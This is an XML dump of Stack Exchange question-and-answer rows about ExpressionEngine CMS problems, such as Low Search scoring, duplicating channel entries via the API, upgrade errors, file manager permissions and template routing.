  <row Id="34538" PostTypeId="2" ParentId="34536" CreationDate="2015-10-27T16:03:23.817" Score="2" Body="&lt;p&gt;MySQL's Fulltext relevance calculation is a bit of a black box. I've tried to find out exactly how it calculates it when I built the add-on, but couldn't find anything useful. Instead, I found out through trial and error, you can influence the score calculation by repeating text in the same field, which is what the weighting does in Low Search. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, whilst weighting fields in LS will influence MySQL's relevance scoring of a search result, I have no control over what an actual person might find more relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, take a look at &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;keywords:match&lt;/code&gt; parameter&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If a valid field (native or custom) is given, entries where that field &lt;strong&gt;exactly&lt;/strong&gt; matches the keywords given will be pushed to the top of the search results, regardless of score.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That won't apply to partial matches, but could help you nonetheless.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-27T16:03:23.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34539" PostTypeId="1" CreationDate="2015-10-27T16:09:12.613" Score="1" ViewCount="45" Body="&lt;p&gt;I just attempted to use Updater 3.2.4 to update my test site from EE2.7.2 to 2.10.1. The process froze up while it was installing EE. Now all my pages, both CP and front end are just blank pages with empty html, head and body tags. I don't know if this is a database issue or a file issue. Has anyone seen this before? Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6791" LastActivityDate="2016-06-08T10:17:16.890" Title="Updater Crash - All pages blank" Tags="|devdemon-updater|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34540" PostTypeId="2" ParentId="34532" CreationDate="2015-10-27T16:16:21.777" Score="2" Body="&lt;p&gt;You only need to create collections if you're using &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;the Keywords filter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variables created based on the parameters need to be &lt;strong&gt;prefixed&lt;/strong&gt; with &lt;code&gt;low_search_&lt;/code&gt;, as per &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#params&quot; rel=&quot;nofollow&quot;&gt;how params work in LS&lt;/a&gt;. So try this as a conditional instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if low_search_search:cf_product_color == &quot;red&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-27T16:16:21.777" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34541" PostTypeId="1" CreationDate="2015-10-27T17:47:43.140" Score="0" ViewCount="102" Body="&lt;p&gt;When displaying results the the system doesn't seem to be getting the right URL for the different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example is outputting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://xxx.xx.dev.xx.net/blackberry-autumn-pudding&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the correct one is &lt;code&gt;http://xxx.xx.dev.xx.net/food/recipes/blackberry-autumn-pudding&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In another case is doing &lt;code&gt;http://ee.dev/index.php/xx-memphis-bbq-roadtrip-test&lt;/code&gt; and the correct one is &lt;code&gt;http://xxx.xx.dev.xx.net/food/recipes/xx-memphis-bbq-roadtrip-test&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess is not picking up the categories from which that URL belongs to. How can I fix that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;                                    limit=&quot;8&quot;&#xA;                                    query=&quot;{segment_2}&quot;&#xA;                                    collection=&quot;article|food&quot;&#xA;                                    status=&quot;open&quot;&#xA;                                    keywords:inflect=&quot;yes&quot;&#xA;                                    pagination_base=&quot;search&quot;&#xA;                                    keywords:mode=&quot;auto&quot;&#xA;            }&#xA;&#xA;{auto_path}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6670" LastActivityDate="2015-12-30T15:03:33.597" Title="low-search {auto_path} not picking up URL with sub-categories" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34542" PostTypeId="2" ParentId="34539" CreationDate="2015-10-27T18:08:18.263" Score="0" Body="&lt;p&gt;I decided to go ahead and do a manual update and that seems to have cleared everything up. Also updated all add-ons. Not sure why Updater crapped out though.&lt;/p&gt;&#xA;" OwnerUserId="6791" LastActivityDate="2015-10-27T18:08:18.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34543" PostTypeId="2" ParentId="34541" CreationDate="2015-10-27T18:14:09.250" Score="1" Body="&lt;p&gt;Make sure the paths are set correctly in your channel preferences: &lt;a href=&quot;http://ee2docs.com/cp/admin/channels/channel_edit_preferences.html#search-results-url&quot; rel=&quot;nofollow&quot;&gt;http://ee2docs.com/cp/admin/channels/channel_edit_preferences.html#search-results-url&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Automatically applying categories is not possible at the moment.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-27T18:14:09.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34544" PostTypeId="1" AcceptedAnswerId="34569" CreationDate="2015-10-27T18:52:48.160" Score="0" ViewCount="39" Body="&lt;p&gt;Has anyone set up CartThrob or Expresso or Brilliant Retail to collect payments of invoices with an e-check? I checked all three sites, it doesn't look like they do but thought it best to confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also searched Devotee and didn't see anything that would support e-checks (or ACH)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2015-10-29T17:10:05.823" Title="e-check to pay an invoice" Tags="|expresso-store|cartthrob|brilliantretail|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34545" PostTypeId="1" AcceptedAnswerId="34546" CreationDate="2015-10-27T19:05:52.490" Score="1" ViewCount="62" Body="&lt;p&gt;I'm having a small issue creating a script that take in an entry_id, and based on that creates a new carbon copy entry with a new entry_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got this working, however as it stands now i'm forced to updated the $entry_data array everytime a new ee_channel_data field_id_# column is created.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('api');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;$entry_data = array(&#xA;    'title' =&amp;gt;  $get_channel_title_res['title'] . ' COPY',&#xA;    'url_title' =&amp;gt;  $get_channel_title_res['url_title'] . '_copy',&#xA;    'entry_date' =&amp;gt; $get_channel_title_res['entry_date'],&#xA;    'edit_date' =&amp;gt;  $get_channel_title_res['edit_date'],&#xA;    'field_id_1' =&amp;gt; $get_channel_data_res['field_id_1'],&#xA;    'field_id_2' =&amp;gt; $get_channel_data_res['field_id_2'],&#xA;    'field_id_3' =&amp;gt; $get_channel_data_res['field_id_3']&#xA;);&#xA;&#xA;ee()-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings($channel_id, $entry_data);               &#xA;&#xA;$success = ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($entry_data, $channel_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would prefer not to have to specify the fields, but simply tell EE's API&#xA;Create a new entry, based on this old entry, and change it's title/url_title to appent _COPY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize there's an addon for this, however that's not an option for me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1104" LastActivityDate="2015-10-27T19:55:44.300" Title="Duplicating an entry based on entry_id" Tags="|php|channel-entries-api|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34546" PostTypeId="2" ParentId="34545" CreationDate="2015-10-27T19:31:23.410" Score="0" Body="&lt;p&gt;Have you considered an answer like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$entry_data = array();&#xA;&#xA;// select all column names from your exp_channel_data table&#xA;$col_names = ee()-&amp;gt;db-&amp;gt;query('SELECT `COLUMN_NAME` FROM `INFORMATION_SCHEMA`.`COLUMNS` WHERE `TABLE_SCHEMA`='yourdatabasename' AND `TABLE_NAME`='exp_channel_data')-&amp;gt;result_array();&#xA;&#xA;foreach ($col_names as $column_name) {&#xA;    // conditionals&#xA;    switch ($column_name) {&#xA;&#xA;        // don't add an entry_id, 'cause auto insertion (giggity)&#xA;        case &quot;entry_id&quot;:&#xA;            break;&#xA;&#xA;        // title string append&#xA;        case &quot;title&quot;:&#xA;            $entry_data[$column_name] = $get_channel_title_res[$column_name] . ' COPY';&#xA;            break;&#xA;&#xA;        // url_title string append&#xA;        case &quot;url_title&quot;;&#xA;            $entry_data[$column_name] = $get_channel_title_res[$column_name] . '_copy';&#xA;&#xA;        // add everything else&#xA;        default:&#xA;            if (isset($get_channel_title_res[$column_name])) {&#xA;                $entry_data[$column_name] = $get_channel_title_res[$column_name];&#xA;            }&#xA;    }&#xA;}&#xA;&#xA;// continue along your merry way with your api wackery&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't a built in function to do what you're asking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, what about something even simpler? Assuming you have the &lt;code&gt;entry_id&lt;/code&gt; you want to clone...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get old data&#xA;$entry_data = ee()-&amp;gt;db-&amp;gt;select()&#xA;                      -&amp;gt;from('exp_channel_data')&#xA;                      -&amp;gt;where('entry_id', $entry_id)&#xA;                      -&amp;gt;get()-&amp;gt;result_array();&#xA;&#xA;// fix our copy&#xA;$entry_data[&quot;entry_id&quot;]   = &quot;&quot;;&#xA;$entry_data[&quot;title&quot;]     .= &quot; COPY&quot;;&#xA;$entry_data[&quot;url_title&quot;] .= &quot;_copy&quot;;&#xA;&#xA;// move along, nothing to see here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adds a database call but looks nicer!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-27T19:55:44.300" LastActivityDate="2015-10-27T19:55:44.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34547" PostTypeId="1" CreationDate="2015-10-28T05:51:36.357" Score="0" ViewCount="92" Body="&lt;p&gt;I upgraded the expression engine from version from 2.9.0 to 2.10.2.It started showing the notice in the admin: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your ExpressionEngine installation’s version (2.9.2) is not consistent&#xA;  with the reported version (2.10.1). Please update your installation of&#xA;  ExpressionEngine again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does this mean? Need help.&#xA;PS: I am new to ee&lt;/p&gt;&#xA;" OwnerDisplayName="user6792" LastActivityDate="2015-10-28T07:04:31.273" Title="Notice on admin after upgrading from 2.9.0 to 2.10.2" Tags="|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34548" PostTypeId="2" ParentId="32589" CreationDate="2015-10-28T06:25:26.433" Score="0" Body="&lt;p&gt;If you're using manually-coded form fields (i.e. not using &lt;code&gt;{freeform:field:FIELD_NAME}&lt;/code&gt;), and submitting an &lt;em&gt;array&lt;/em&gt; of data in a field (i.e. your fields would have &lt;code&gt;name=&quot;my_field[]&quot;&lt;/code&gt; instead of &lt;code&gt;name=&quot;my_field&quot;&lt;/code&gt;), you might need to manually break down the data using PHP or a plugin that separates a string of data into iterable pieces of data. For example, this would output your data, broken down to an array, as a PHP variable dump (turn on PHP for your template!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $arr = explode(&quot;\n&quot;, '{freeform:mp_data:FIELD_NAME}'); ?&amp;gt;&#xA;&amp;lt;?php var_dump($arr); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;var_dump()&lt;/code&gt; isn't very useful outside of development/troubleshooting however: you would need to loop through your array data for better customization, like this for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach($arr as $item) :?&amp;gt;&#xA;      &amp;lt;?php echo $item; ?&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-10-28T06:25:26.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34549" PostTypeId="2" ParentId="34547" CreationDate="2015-10-28T07:04:31.273" Score="1" Body="&lt;p&gt;If I remember correct it is because $config['app_version'] in config.php still has the old version number.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-10-28T07:04:31.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34550" PostTypeId="2" ParentId="34535" CreationDate="2015-10-28T09:41:34.037" Score="1" Body="&lt;p&gt;One way to do it without editing Store source files is to write some javascript and/or css that manipulates the layout and then inject that into the order detail view with an add-on like &lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; or &lt;a href=&quot;https://devot-ee.com/add-ons/hijack&quot; rel=&quot;nofollow&quot;&gt;hijack&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2015-10-28T09:41:34.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34551" PostTypeId="1" AcceptedAnswerId="34553" CreationDate="2015-10-28T13:03:19.877" Score="0" ViewCount="56" Body="&lt;p&gt;I created a channel &quot;project&quot; with several channel fields. For my question I am using the example of a field called &quot;White Header&quot;, the short name is &lt;code&gt;white_header&lt;/code&gt; and is is of Type &lt;strong&gt;Text Input&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I output the field in my template, the content of the field of an entry is surrounded by &lt;p&gt; elements, which I don't need. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projekt&quot; limit=&quot;1&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&#xA;    &amp;lt;h2 class=&quot;content__header&quot;&amp;gt;{white_header}&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting HTML is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 class=&quot;content__header&quot;&amp;gt;&amp;lt;p&amp;gt;White Header Content&amp;lt;/p&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like the HTML to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 class=&quot;content__header&quot;&amp;gt;White Header Content&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I changed the default text formatting from &lt;code&gt;Markdown&lt;/code&gt; to &lt;code&gt;None&lt;/code&gt;, but it didn't change anything&lt;/li&gt;&#xA;&lt;li&gt;Tried to find a solution in the documentation&lt;/li&gt;&#xA;&lt;li&gt;Tried to find a solution with google, but did only find an entry about &quot;grid&quot; (what is grid?) that didn't help in my situation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I avoid, that ExpressionEngine outputs HTML elements, that I do not need?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would alternatively help: Is there a way to assign a class to the auto generated &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; element?&lt;/p&gt;&#xA;" OwnerUserId="6794" LastEditorUserId="6794" LastEditDate="2015-10-28T13:15:11.663" LastActivityDate="2015-10-28T14:05:51.917" Title="Avoid &lt;p&gt; in output of channel fields" Tags="|channel-entries|templates|html|channel-fields|text-formatting|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34552" PostTypeId="1" CreationDate="2015-10-28T13:14:34.533" Score="0" ViewCount="289" Body="&lt;p&gt;I'm trying to pull some data from a relationship child (design) to the parent (packages), but it's simply not parsing anything.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;packages&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; limit=&quot;3&quot;}&#xA;    {design:title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code renders nothing on the page, just white space in the source. The parent entries tag is correct, I have omitted other variables from the example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried including the relationship as a tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;packages&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; limit=&quot;3&quot;}&#xA;    {design}&#xA;        {design:title}&#xA;    {/design}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which renders the &lt;code&gt;{design:title}{/design}&lt;/code&gt; preceded by a digit of which I can't figure out the significance. I don't think it's an entry ID or anything, but it seems to render in place of &lt;code&gt;{design}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately I'm trying to pull an image from the child's Channel Images field, but I can't seem to access anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is using EE 2.5.2 (old, I know).&lt;/p&gt;&#xA;" OwnerUserId="3230" LastActivityDate="2017-10-17T15:30:26.650" Title="Relationship field not parsing" Tags="|channel-entries|relationships|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34553" PostTypeId="2" ParentId="34551" CreationDate="2015-10-28T14:05:51.917" Score="1" Body="&lt;p&gt;It sounds like you would do best to make use of a WYSIWYG Field Type addon. There are several. I think the ones that get the most use are Wygwam, Expresso, and Wyvern. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/wygwam&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/expresso&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/expresso&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/wyvern&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/wyvern&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are all built on top of CKEditor. This field will allow content editors more freedom to build content, and also allow for markdown editing without any forced tags. They also allow for customization of the field type. Try out &lt;a href=&quot;http://ckeditor.com/demo&quot; rel=&quot;nofollow&quot;&gt;CKEditor&lt;/a&gt; to get a feel for the field. They will auto-add &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags when in editor mode, but that is generally customizable, and you can use the source mode to edit the HTML markdown however you'd like.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-28T14:05:51.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34554" PostTypeId="1" CreationDate="2015-10-28T14:35:02.810" Score="0" ViewCount="122" Body="&lt;p&gt;I have a site running ee 2.2.2. I've set up a new member group, but this group cannot see the file manager or upload files.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the group settings as below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can access CONTENT: File Manager - yes&#xA;Can administrate file upload preferences - yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone into file manager and made sure the group can access the directory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they go to Content menu, they can't see the file option.  If they click Browse Server in an entry, they get the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/znIvg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/znIvg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2016-06-06T19:59:21.773" Title="EE 2.2.2, member group unable to access file manager" Tags="|file-uploads|file-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34555" PostTypeId="1" CreationDate="2015-10-28T14:36:18.977" Score="0" ViewCount="184" Body="&lt;p&gt;I've a &lt;code&gt;Channel Field&lt;/code&gt;, I create a &lt;code&gt;field-pack drop-down list&lt;/code&gt; that works great on the Article page back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to get all values of that list and output it into the article temple if i do &lt;code&gt;{cuisine:label}&lt;/code&gt; it will give me the selected value as set on the back-end when the article was created. But I need all values not only the selected one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the full list of that particular channel field - drop down to output it into a template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rational is that in the front-end I need to recreate that list and then use those values for search queries. Hence I need value:label pairs so i dont have to replicate the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TvsTY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvsTY.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6670" LastEditorUserId="6670" LastEditDate="2015-10-28T14:50:44.837" LastActivityDate="2016-06-02T09:21:52.050" Title="How to get all values of a field pack channel field" Tags="|field-pack|channel-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34556" PostTypeId="2" ParentId="34555" CreationDate="2015-10-28T14:45:29.477" Score="0" Body="&lt;p&gt;I don't known your complete use case, but a drop down isn't really the right field type to go with, I suspect. You can't output it as you want, and would have to use some front-end jQuery-izing to take the field and convert it into a list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use the Checkboxes field. Ref:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/fieldtypes/checkboxes/tags.html#ol-and-ul-tags&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/fieldpack/fieldtypes/checkboxes/tags.html#ol-and-ul-tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will allow you to output your values as a list. But as a side note... ever hear of fusion cuisine? :p you might want to allow multiple selections for that field on a content level, because half the world does fusion.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-28T14:45:29.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34557" PostTypeId="2" ParentId="34554" CreationDate="2015-10-28T15:36:17.923" Score="0" Body="&lt;p&gt;You'll also need to ensure that member group has access to &lt;code&gt;upload files&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WvaoP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WvaoP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's found under &lt;code&gt;Content &amp;gt; Files &amp;gt; Files Upload Preferences &amp;gt; Edit the upload path&lt;/code&gt; at the bottom of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you shouldn't need to give them &lt;code&gt;Can access CONTENT: File Manager - yes Can administrate file upload preferences - yes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just &lt;code&gt;Can access CONTENT: File Manager&lt;/code&gt; under Group Preferences is all that's needed.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditDate="2015-10-28T15:56:47.393" LastActivityDate="2015-10-28T15:56:47.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34560" PostTypeId="1" AcceptedAnswerId="34561" CreationDate="2015-10-28T18:51:59.263" Score="0" ViewCount="90" Body="&lt;p&gt;I use EE 2.10.1 and the Template Route Manager to show a specific template at the root of my site (e.g. &lt;code&gt;http://www.example.com/&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup in the Template Route Manager resembles the screenshot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/quaNx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/quaNx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can open &lt;code&gt;/project&lt;/code&gt;, &lt;code&gt;/imprint&lt;/code&gt; a.s.o., but if I open the root &lt;code&gt;/&lt;/code&gt; URL the template is not shown, but just an empty page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I don't want to use the Pages modul to achieve that, as this is the only static page I have and it is hardcoded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I assign a template to the root of a page by using Template Route Manager?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6794" LastActivityDate="2015-10-28T18:59:23.843" Title="Use template at root directory using Template Route Manager" Tags="|templates|template-routes|template-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34561" PostTypeId="2" ParentId="34560" CreationDate="2015-10-28T18:59:23.843" Score="1" Body="&lt;p&gt;I don't think you can. You also don't need to do that. The template file you are wanting to be your homepage is already called index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ee2docs.com/cp/design/templates/new_template_group.html#default-home-page&quot; rel=&quot;nofollow&quot;&gt;http://www.ee2docs.com/cp/design/templates/new_template_group.html#default-home-page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set your &lt;code&gt;site&lt;/code&gt; template group as your default template group via this setting, and it automatically will make site/index your root.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-28T18:59:23.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34563" PostTypeId="1" CreationDate="2015-10-29T00:35:08.490" Score="0" ViewCount="37" Body="&lt;p&gt;Looking at the available EE plugins handling MailChimp integration there don't appear to be any that automatically allows you to assign subscribers to a &quot;segment&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MailChimp provides Groups and Segments. However there is a hard limit of 60 Groups and I have just over 60 different ways I would like to categorize subscribers. Therefore I am looking to use Segments but none of the plugins seem to provide this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My desired functionality is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add new &lt;strong&gt;members&lt;/strong&gt; to a MailChimp list&lt;/li&gt;&#xA;&lt;li&gt;add those members to a MailChimp Segment based on the value from one of the dropdown fields&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2015-10-29T00:35:08.490" Title="Mailchimp Integration with Segment Capability" Tags="|registration|mailchimp|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34564" PostTypeId="2" ParentId="34537" CreationDate="2015-10-29T00:35:13.037" Score="0" Body="&lt;p&gt;The cache is used to generate the images and then copy them over. Most likely your paths and urls are incorrect. I would first use something like Deeployer Helper to make sure all the paths and urls are correct. Most likely you are having issue from this. &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-10-29T00:35:13.037" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
